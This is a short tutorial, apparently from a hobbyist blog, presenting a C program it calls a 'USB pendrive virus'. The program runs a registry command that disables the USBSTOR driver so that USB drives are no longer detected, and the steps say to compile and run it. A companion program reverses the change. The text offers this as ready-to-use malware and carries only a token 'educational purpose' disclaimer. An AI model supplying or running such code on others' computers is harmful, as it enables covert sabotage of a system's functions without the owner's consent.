Virus is a program which infects computer, in different way. I am explaining about a Virus Which can easily be made in C or C++, ,When we have run .exe file of this Pendrive-usb virus then when we connect pendrive with our computer usb,it will not be connected. Operating System would not be able to detect pendrive.
1.Creating usb-pendrive Virus :-
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
\Services\USBSTOR /v Start /t REG_DWORD /d 4 /f”);
}
- Above Line system(“…………………”);it is in one Line
- Save The Above Program as usbblock.c or any other name.
- Compile and Run the above Program
- Congratulation! you are succesfull to create the usb-pendrive Virus
- Now go to drive where C is installed (Open TC folder) and then BIN ,have that usb-pendrive virus usbblock.exe to be used……….
- Run that usbblock.exe in your computer to test.
- Attach Pendrive to your computer usb ….OH! Shit Pendrive doesn’t get detected…virus
- Dont infect any other computer as it is only for educational purpose.
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\USBSTOR /v Start /t REG_DWORD /d 3 /f”);
}
- Above Line system(“…………………”);it is in one Line
- Save The Above Program as unblockusb.c or any other name.
- Compile and Run the above Program
- Congratulation! you are succesfull to create .exe file to unblock USB
- Now go to drive where C is installed (Open TC folder) and then BIN ,have that unblockusb.exe to be used……….
Run that unblockusb.exe to reverse the effect of usbblock.exe.